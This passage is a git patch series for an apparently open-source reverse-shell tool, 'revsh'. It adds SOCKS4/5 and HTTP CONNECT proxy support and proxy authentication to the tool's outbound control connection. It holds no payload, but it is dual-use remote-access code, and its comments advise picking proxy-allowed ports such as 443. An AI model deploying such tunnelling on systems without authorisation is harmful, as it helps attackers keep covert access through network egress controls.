+// socks5h (CONTROL_ADDRESS can be domain to be resolved by the proxy) +//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS5H -// http (CONTRL_ADDRESS can be domain to be resolved by the proxy) -//#define OUTBOUND_PROXY_TYPE "http" -//#define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" +// http (CONTROL_ADDRESS can be domain to be resolved by the proxy, control port must be allowed by proxy such as 443) +//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_HTTP // Default socks proxy listener port. #define SOCKS_LISTENER "2280" diff --git a/helper_objects.h b/helper_objects.h index d36e3f6..c742435 100644 --- a/helper_objects.h +++ b/helper_objects.h @@ -55,7 +55,7 @@ struct config_helper { int tap; char *ip_addr; - char *outbound_proxy_type; + int outbound_proxy_type; char *outbound_proxy_addr; char *keys_dir; char *rc_file; diff --git a/io_ssl.c b/io_ssl.c index dc3f440..bf8d5d7 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1011,14 +1011,14 @@ int init_io_target(){ if(config->outbound_proxy_type && config->outbound_proxy_addr) { // Outbound SOCKS4/SOCKS4A proxy - if(strcmp(config->outbound_proxy_type, "socks4") == 0 || strcmp(config->outbound_proxy_type, "socks4a") == 0) { + if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS4 || config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS4A) { - if(verbose) { - printf("Requesting %s connection to %s...", config->outbound_proxy_type, config->ip_addr); - fflush(stdout); - } + if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS4) { + if(verbose) { + printf("Requesting socks4 connection to %s...", config->ip_addr); + fflush(stdout); + } - if(strcmp(config->outbound_proxy_type, "socks4") == 0) { // Parse control ip and port from string unsigned char ip[4] = {0}; unsigned short port = 0; @@ -1043,7 +1043,12 @@ int init_io_target(){ report_error("init_io_target(): write socks4 request: %s", strerror(errno)); return(-1); } - } else if(strcmp(config->outbound_proxy_type, "socks4a") == 0) { + } else if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS4A) { + if(verbose) { + printf("Requesting socks4a connection to %s...", config->ip_addr); + fflush(stdout); + } + // Send socks4a connection request (domain) char *domain = strdup(config->ip_addr); char *p = strchr(domain, ':'); @@ -1097,11 +1102,16 @@ int init_io_target(){ } // Outbound SOCKS5/SOCKS5H proxy - else if(strcmp(config->outbound_proxy_type, "socks5") == 0 || strcmp(config->outbound_proxy_type, "socks5h") == 0) { + else if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS5 || config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS5H) { if(verbose) { - printf("Requesting %s connection to %s...", config->outbound_proxy_type, config->ip_addr); - fflush(stdout); + if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS5) { + printf("Requesting socks5 connection to %s...", config->ip_addr); + fflush(stdout); + } else if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS5H) { + printf("Requesting socks5h connection to %s...", config->ip_addr); + fflush(stdout); + } } // Send socks5 greeting (no authentication support) @@ -1122,7 +1132,7 @@ int init_io_target(){ return(-1); } - if (strcmp(config->outbound_proxy_type, "socks5") == 0) { + if (config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS5) { // Parse control ip and port from string unsigned char ip[4] = {0}; @@ -1151,7 +1161,7 @@ int init_io_target(){ return(-1); } - } else if(strcmp(config->outbound_proxy_type, "socks5h") == 0) { + } else if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS5H) { // Send socks5 connection request (domain) char *domain = strdup(config->ip_addr); @@ -1243,7 +1253,7 @@ int init_io_target(){ } // Outbound HTTP proxy - else if(strcmp(config->outbound_proxy_type, "http") == 0) { + else if(config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_HTTP) { if(verbose) { printf("Requesting http connection to %s...", config->ip_addr); fflush(stdout); From 2546cc05500092ef2ed3ad62e43b79e701fae0f6 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Fri, 29 Sep 2023 11:11:18 -0400 Subject: [PATCH 09/14] Support authentication for http proxy --- config.h | 60 ++++++++++++++++++++++++++++++++++-------------- helper_objects.h | 2 ++ io_ssl.c | 49 ++++++++++++++++++++++++++++++--------- revsh.c | 2 ++ 4 files changed, 85 insertions(+), 28 deletions(-) diff --git a/config.h b/config.h index 7283fd2..c7227df 100644 --- a/config.h +++ b/config.h @@ -15,23 +15,49 @@ */ // Default: no proxy -//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_NULL -//#define OUTBOUND_PROXY_ADDR NULL - -// socks4 (CONTROL_ADDRESS must be ipv4 address) -//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS4 - -// socks4a (CONTROL_ADDRESS can be domain to be resolved by the proxy) -//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS4A - -// socks5 (CONTROL_ADDRESS must be ipv4 address) -//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS5 - -// socks5h (CONTROL_ADDRESS can be domain to be resolved by the proxy) -//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS5H - -// http (CONTROL_ADDRESS can be domain to be resolved by the proxy, control port must be allowed by proxy such as 443) -//#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_HTTP +#define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_NULL +#define OUTBOUND_PROXY_ADDR NULL +#define OUTBOUND_PROXY_USERNAME NULL +#define OUTBOUND_PROXY_PASSWORD NULL + +/* Examples */ + +/* socks4 (CONTROL_ADDRESS must be ipv4 address) */ +// #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS4 +// #define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// #define OUTBOUND_PROXY_USERNAME NULL +// #define OUTBOUND_PROXY_PASSWORD NULL + +/* socks4a (CONTROL_ADDRESS can be domain to be resolved by the proxy) */ +// #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS4A +// #define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// #define OUTBOUND_PROXY_USERNAME NULL +// #define OUTBOUND_PROXY_PASSWORD NULL + +/* socks5 (CONTROL_ADDRESS must be ipv4 address) */ +// #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS5 +// #define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// #define OUTBOUND_PROXY_USERNAME NULL +// #define OUTBOUND_PROXY_PASSWORD NULL + +/* socks5h (CONTROL_ADDRESS can be domain to be resolved by the proxy) */ +// #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_SOCKS5H +// #define OUTBOUND_PROXY_ADDR "127.0.0.1:1080" +// #define OUTBOUND_PROXY_USERNAME NULL +// #define OUTBOUND_PROXY_PASSWORD NULL + +/* http (CONTROL_ADDRESS can be domain to be resolved by the proxy). Check proxy + * access control, for squid port 443 usually allowed */ +// #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_HTTP +// #define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" +// #define OUTBOUND_PROXY_USERNAME NULL +// #define OUTBOUND_PROXY_PASSWORD NULL + +/* authentication (http proxy only) */ +// #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_HTTP +// #define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" +// #define OUTBOUND_PROXY_USERNAME "foo" +// #define OUTBOUND_PROXY_PASSWORD "bar" // Default socks proxy listener port. #define SOCKS_LISTENER "2280" diff --git a/helper_objects.h b/helper_objects.h index c742435..4fc0320 100644 --- a/helper_objects.h +++ b/helper_objects.h @@ -57,6 +57,8 @@ struct config_helper { char *ip_addr; int outbound_proxy_type; char *outbound_proxy_addr; + char *outbound_proxy_username; + char *outbound_proxy_password; char *keys_dir; char *rc_file; char *shell; diff --git a/io_ssl.c b/io_ssl.c index bf8d5d7..7582810 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1,6 +1,7 @@ #include "common.h" #include "keys/dh_params.c" +#include #include #include @@ -1259,18 +1260,49 @@ int init_io_target(){ fflush(stdout); } + // Build http connect request + const char *HTTP_CONNECT_REQUEST_FMT = "CONNECT %s HTTP/1.1\r\n"; + char *http_connect_request = calloc(1, strlen(HTTP_CONNECT_REQUEST_FMT) - 2 + strlen(config->ip_addr) + 1); + sprintf(http_connect_request, HTTP_CONNECT_REQUEST_FMT, config->ip_addr); + + // Add proxy credentials if present + if(config->outbound_proxy_username && config->outbound_proxy_password) { + + // Build basic authentication + char *username = config->outbound_proxy_username; + char *password = config->outbound_proxy_password; + char *credential = calloc(1, strlen(username) + strlen(password) + 1 + 1); + strcat(credential, username); + strcat(credential, ":"); + strcat(credential, password); + char *credential_b64 = calloc(1, ((strlen(credential) / 3) * 4) + 1); + EVP_EncodeBlock(credential_b64, credential, strlen(credential)); + free(credential); + + // Build proxy authorization header + const char *HTTP_PROXY_HEADER_FMT = "Proxy-Authorization: basic %s\r\n"; + char *http_proxy_header = calloc(1, strlen(HTTP_PROXY_HEADER_FMT) - 2 + strlen(credential_b64) + 1); + sprintf(http_proxy_header, HTTP_PROXY_HEADER_FMT, credential_b64); + free(credential); + + // Add proxy authorizationheader + http_connect_request = realloc(http_connect_request, strlen(http_connect_request) + strlen(http_proxy_header) + 1); + strcat(http_connect_request, http_proxy_header); + } + + // Add http request terminator + http_connect_request = realloc(http_connect_request, strlen(http_connect_request) + strlen("\r\n") + 1); + strcat(http_connect_request, "\r\n"); + // Send http connect request - char *http_connect_request_fmt = "CONNECT %s HTTP/1.1\r\n\r\n"; - char *http_connect_request = calloc(1, strlen(http_connect_request_fmt) - 2 + strlen(config->ip_addr) + 1); - sprintf(http_connect_request, http_connect_request_fmt, config->ip_addr); if(write(io->remote_fd, http_connect_request, strlen(http_connect_request)) == -1) { - free(http_connect_request); + free(http_connect_request); report_error("init_io_target(): write http connection request: %s", strerror(errno)); return(-1); } free(http_connect_request); - // Read http reponse header + // Read http response header char http_header[4096] = {0}; for(size_t i = 0; i < sizeof(http_header); i++) { if(read(io->remote_fd, http_header + i, 1) == -1) { @@ -1281,13 +1313,8 @@ int init_io_target(){ break; } - if(strstr(http_header, "HTTP/1.1 403 Forbidden")) { - report_error("init_io_target(): http 403 forbidden"); - return(-1); - } - if(!strstr(http_header, "HTTP/1.1 200")) { - report_error("init_io_target(): http unknown error"); + report_error("init_io_target(): http error: %s", http_header); return(-1); } diff --git a/revsh.c b/revsh.c index a177e77..5503530 100644 --- a/revsh.c +++ b/revsh.c @@ -311,6 +311,8 @@ int main(int argc, char **argv){ config->interactive = 1; config->outbound_proxy_type = OUTBOUND_PROXY_TYPE; config->outbound_proxy_addr = OUTBOUND_PROXY_ADDR; + config->outbound_proxy_username = OUTBOUND_PROXY_USERNAME; + config->outbound_proxy_password = OUTBOUND_PROXY_PASSWORD; config->shell = NULL; config->rc_file = RC_FILE; config->keys_dir = KEYS_DIR; From ef64d0d12482c828e83da599867fa6c11e225553 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Fri, 29 Sep 2023 11:15:06 -0400 Subject: [PATCH 10/14] Fix free --- io_ssl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/io_ssl.c b/io_ssl.c index 7582810..fd013e8 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1283,7 +1283,7 @@ int init_io_target(){ const char *HTTP_PROXY_HEADER_FMT = "Proxy-Authorization: basic %s\r\n"; char *http_proxy_header = calloc(1, strlen(HTTP_PROXY_HEADER_FMT) - 2 + strlen(credential_b64) + 1); sprintf(http_proxy_header, HTTP_PROXY_HEADER_FMT, credential_b64); - free(credential); + free(credential_b64); // Add proxy authorizationheader http_connect_request = realloc(http_connect_request, strlen(http_connect_request) + strlen(http_proxy_header) + 1); From c39d068b136ff5bf5cf3243f5c9ec8e740e20ec6 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Fri, 29 Sep 2023 14:52:36 -0400 Subject: [PATCH 11/14] Fix base64 length calculation --- io_ssl.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/io_ssl.c b/io_ssl.c index fd013e8..9eeb102 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1275,7 +1275,7 @@ int init_io_target(){ strcat(credential, username); strcat(credential, ":"); strcat(credential, password); - char *credential_b64 = calloc(1, ((strlen(credential) / 3) * 4) + 1); + char *credential_b64 = calloc(1, (((strlen(credential) + 2) / 3) * 4) + 1); EVP_EncodeBlock(credential_b64, credential, strlen(credential)); free(credential); From 8b536e96fb78b02c5481352841f23d966e48ab8b Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Fri, 29 Sep 2023 14:53:12 -0400 Subject: [PATCH 12/14] Support authentication for socks5/socks5h proxy --- config.h | 2 +- io_ssl.c | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 73 insertions(+), 8 deletions(-) diff --git a/config.h b/config.h index c7227df..33648b7 100644 --- a/config.h +++ b/config.h @@ -53,7 +53,7 @@ // #define OUTBOUND_PROXY_USERNAME NULL // #define OUTBOUND_PROXY_PASSWORD NULL -/* authentication (http proxy only) */ +/* authentication (http/socks5/socks5h proxy only) */ // #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_HTTP // #define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" // #define OUTBOUND_PROXY_USERNAME "foo" diff --git a/io_ssl.c b/io_ssl.c index 9eeb102..47e9d24 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1115,11 +1115,20 @@ int init_io_target(){ } } - // Send socks5 greeting (no authentication support) - unsigned char socks5_greeting[] = { 0x05, 0x01, 0x00 }; - if(write(io->remote_fd, socks5_greeting, sizeof(socks5_greeting)) == -1) { - report_error("init_io_target(): write socks5 greeting: %s", strerror(errno)); - return(-1); + if(config->outbound_proxy_username && config->outbound_proxy_password) { + // Send socks5 greeting (supported: no auth, username/password) + unsigned char socks5_greeting[] = { 0x05, 0x02, 0x00 , 0x02}; + if(write(io->remote_fd, socks5_greeting, sizeof(socks5_greeting)) == -1) { + report_error("init_io_target(): write socks5 greeting: %s", strerror(errno)); + return(-1); + } + } else { + // Send socks5 greeting (supported: no auth) + unsigned char socks5_greeting[] = { 0x05, 0x01, 0x00 }; + if(write(io->remote_fd, socks5_greeting, sizeof(socks5_greeting)) == -1) { + report_error("init_io_target(): write socks5 greeting: %s", strerror(errno)); + return(-1); + } } // Receive socks5 choice @@ -1128,11 +1137,68 @@ int init_io_target(){ report_error("init_io_target(): read socks5 choice: %s", strerror(errno)); return(-1); } - if(socks5_choice[0] != 0x05 || socks5_choice[1] != 0x00) { + if(socks5_choice[0] != 0x05) { report_error("init_io_target(): socks5 choice"); return(-1); } + // Chosen authentication method + switch (socks5_choice[1]) { + case 0x00: + // No auth + break; + case 0x02: { + // Username/Password + if(config->outbound_proxy_username && config->outbound_proxy_password) { + // Allocate buffer for socks5 client authentication request (0x02) + unsigned char id_len = strlen(config->outbound_proxy_username) & 0xff; + unsigned char pw_len = strlen(config->outbound_proxy_password) & 0xff; + int socks5_auth_len = 1 + 1 + id_len + 1 + pw_len; + unsigned char *socks5_auth = calloc(1, socks5_auth_len); + + // Build socks5 client authentication request (0x02) + int i = 0; + socks5_auth[i++] = 0x01; // VER + socks5_auth[i++] = id_len; // IDLEN + // ID + for(size_t j = 0; j < id_len; j++) { + socks5_auth[i++] = config->outbound_proxy_username[j]; + } + socks5_auth[i++] = pw_len; // PWLEN + // PW + for(size_t j = 0; j < pw_len; j++) { + socks5_auth[i++] = config->outbound_proxy_password[j]; + } + + // Send client authentication request (0x02) + if(write(io->remote_fd, socks5_auth, socks5_auth_len) == -1) { + report_error("init_io_target(): write socks5 auth: %s", strerror(errno)); + free(socks5_auth); + return(-1); + } + free(socks5_auth); + + // Receive socks5 server response + char socks5_auth_response[2] = {0}; + if(read(io->remote_fd, socks5_auth_response, sizeof(socks5_auth_response)) == -1) { + report_error("init_io_target(): read socks5 auth response: %s", strerror(errno)); + return(-1); + } + if(socks5_auth_response[0] != 0x01 || socks5_auth_response[1] != 0x00) { + report_error("init_io_target(): socks5 auth response"); + return(-1); + } + } else { + report_error("init_io_target(): socks5 missing credentials"); + return(-1); + } + break; + } + default: + report_error("init_io_target(): socks5 unsupported server choice: %#04x", socks5_choice[1]); + return(-1); + } + if (config->outbound_proxy_type == OUTBOUND_PROXY_TYPE_SOCKS5) { // Parse control ip and port from string @@ -1200,7 +1266,6 @@ int init_io_target(){ } - // Receive initial part of socks5 response packet char socks5_response_part1[4] = {0}; if(read(io->remote_fd, socks5_response_part1, sizeof(socks5_response_part1)) == -1) { From 46e957d6652eb3eb9b8fea7481357952603aefc4 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Fri, 29 Sep 2023 14:56:25 -0400 Subject: [PATCH 13/14] Doc --- config.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.h b/config.h index 33648b7..3a22ae2 100644 --- a/config.h +++ b/config.h @@ -53,7 +53,7 @@ // #define OUTBOUND_PROXY_USERNAME NULL // #define OUTBOUND_PROXY_PASSWORD NULL -/* authentication (http/socks5/socks5h proxy only) */ +/* proxy authentication (http/socks5/socks5h proxy only) */ // #define OUTBOUND_PROXY_TYPE OUTBOUND_PROXY_TYPE_HTTP // #define OUTBOUND_PROXY_ADDR "127.0.0.1:3128" // #define OUTBOUND_PROXY_USERNAME "foo" From 3500347dad5e189977e275654e2f3effb9362f49 Mon Sep 17 00:00:00 2001 From: gongqianye241 Date: Wed, 22 Nov 2023 23:22:48 -0500 Subject: [PATCH 14/14] Fix warnings --- io_ssl.c | 2 +- proxy.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/io_ssl.c b/io_ssl.c index 47e9d24..886ed2e 100644 --- a/io_ssl.c +++ b/io_ssl.c @@ -1341,7 +1341,7 @@ int init_io_target(){ strcat(credential, ":"); strcat(credential, password); char *credential_b64 = calloc(1, (((strlen(credential) + 2) / 3) * 4) + 1); - EVP_EncodeBlock(credential_b64, credential, strlen(credential)); + EVP_EncodeBlock((unsigned char*) credential_b64, (unsigned char*) credential, strlen(credential)); free(credential); // Build proxy authorization header diff --git a/proxy.c b/proxy.c index af85d45..b2e87b3 100644 --- a/proxy.c +++ b/proxy.c @@ -776,7 +776,7 @@ int parse_socks_request(struct connection_node *cur_connection_node){ ******************************************************************************/ int parse_addr_string(char *addr_string, unsigned char ip[4], unsigned short *port) { int parsed_elements = 0; - int s_start = addr_string; + char *s_start = addr_string; for(char *p = addr_string; ; p++) { if(*p == '.' || *p == ':' || *p == '\x00') { int len = p - s_start;